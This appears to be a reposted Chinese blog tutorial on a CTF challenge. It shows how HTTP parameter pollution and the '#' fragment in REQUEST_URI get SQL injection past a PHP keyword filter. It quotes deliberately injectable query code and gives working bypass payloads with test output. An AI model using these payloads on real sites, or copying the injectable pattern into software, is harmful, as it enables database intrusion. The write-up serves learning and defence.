Php学习之两个特性导致waf绕过注入详解

本文和大家分享的主要是php中两个特性导致waf绕过注入相关内容,一起来看看吧,希望对大家学习php有所帮助。

  1HPP HTTP参数污染

  HTTP参数污染指的是,在URL中提交相同键值的两个参数时,服务器端一般会进行一些处理。比如Apache就要以最后一个参数为准,比如:

  user.php?id=111&id=222

  如果输出$_GET数组,则id的值只会取222,即URL上提交的多余值覆盖了前一个值。

  2、一个CTF题目

  http://drops.wooyun.org/tips/17248

  关于注入的waf绕过,注入点为:

  $sql="select * from user where id=".$_REQUEST[" id"].";";

  可以看到了REQUEST进行传递,并且存在如下的waf代码:

  functionwaf($str) {

  if(stripos($str,"select")!==false)

  die("Be a good person!");

  if(stripos($str,"union")!==false)

  die("Be a good person!");

  ......

  }

  functionwafArr($arr) {

  foreach($arras$k=> $v) {

  waf($k);

  waf($v);

  }

  }

  wafArr($_GET);

  wafArr($_POST);

  wafArr($_COOKIE);

  wafArr($_SESSION);

  functionstripStr($str) {

  if(get_magic_quotes_gpc())

  $str= stripslashes($str);

  returnaddslashes(htmlspecialchars($str, ENT_QUOTES, 'UTF-8'));

  }

  $uri= explode("?",$_SERVER['REQUEST_URI']);if(isset($uri[1])) {

  $parameter= explode("&",$uri[1]);

  foreach($parameteras$k=> $v) {

  $v1= explode("=",$v);

  if(isset($v1[1])) {

  $_REQUEST[$v1[0]] = stripStr($v1[1]);

  }

  }

  }

  functionstripArr($arr) {

  $new_arr= array();

  foreach($arras$k=> $v) {

  $new_arr[stripStr($k)] = stripStr($v);

  }

  return$new_arr;

  }

  $_GET=stripArr($_GET);

  $_POST=stripArr($_POST);

  $_COOKIE=stripArr($_COOKIE);

  $_SESSION=stripArr($_SESSION);

  这里使用了waf函数分别对GET POST SESSION COOKIE数据进行过滤,并且对这些全局数组进行转义。

  值得注意的是,这里的$_REQUEST是代码中重新根据$_SERVER[‘REQUEST_URI’]进行拼接,在拼接过程中将参数值进行转义操作。

  1)思路1 ?使用HPP特性

  看似不太可能存在注入,但是使用HPP可以实现。

  示例代码:

  user.php?id=0 or 1&id%00=1

  user.php?id=0 or 1&%20id=1

  user.php?id=0 or 1?&id=1

  测试代码:

  

  function stripArr($arr) {

  $new_arr = array();

  foreach ($arr as $k => $v) {

  $new_arr[stripStr($k)] = stripStr($v);

  }

  return $new_arr;

  }

  function stripStr($str) {

  if (get_magic_quotes_gpc())

  $str = stripslashes($str);

  return addslashes(htmlspecialchars($str, ENT_QUOTES, 'UTF-8'));

  }

  $uri = explode("?",$_SERVER['REQUEST_URI']);if(isset($uri[1])) {

  $parameter = explode("&",$uri[1]);

  foreach ($parameter as $k => $v) {

  $v1 = explode("=",$v);

  if (isset($v1[1])) {

  $_REQUEST[$v1[0]] = stripStr($v1[1]);

  }

  }

  }

  var_dump($_GET) ;

  var_dump($_REQUEST) ;

  ?>

  输出结果:

  可以看到,这里的GET数组取到了最后一个值,不会触发waf,而REQUEST数据中,id则为我们的注入语句,这样

  利用这两者之间的差异,我们可以绕过waf函数的检测,并且利用之前的注入点来实现注入。

  2)思路2: 利用#特性($_SERVER[‘REQUEST_URI’]

  在浏览器中,是不会将#号之后的hash内容发送给服务器的,这里利用burp发包,可以将hash的内容发送至服务器,比如发送:

  /#?id=1

  这里GET数组为空,REQUEST则输出为/#?id=1,这样,就可以绕过waf函数对GET数组的判断,

  并且在REQUEST(这里主要因为REQUEST数组是使用了REQUEST_URI进行了重组)中携带注入的语句,绕过了waf检测。

  3、总结

  这种特性导致的漏洞场景比较特殊,首先,CTF中模拟的场景是waf函数只对GET,POST,SESSION,COOKIES全局数组进行的处理,注入点为REQUEST,在场景中,代码对REQUEST数组通过$_SERVER[‘REQUEST_URI’],使用&分割重新组装的,这种代码处理可能是由于程序员想对REQUEST数组进行转义或者一些净化处理才加进来的。

  利用:

  1HPP特性,提交重复参数内容,PHP处理参数时会覆盖,但是程序拼接时会出现差异,

  比如提交:http://127.0.0.1/shell.php?id=0 or 1&id%00=1

  GETid=1REQUEST为:

  ? ?‘id’ =>string’0%20or%201′(length=10)

  ? ‘id%00’ =>string’1′(length=1)

  可以看到,成功将注入内容引入到REQUEST数组中。

  2)利用#符号,#后面的内容不会带入至GET数组中,但是会出现在REQUEST_URI中,所以可以利用这个特性将注入语句带入到REQUEST对象中。

  总之,这种特性导致的漏洞场景比较特殊,但是确实比较有趣。

 

来源:杂术馆


你可能感兴趣的:(Php学习之两个特性导致waf绕过注入详解)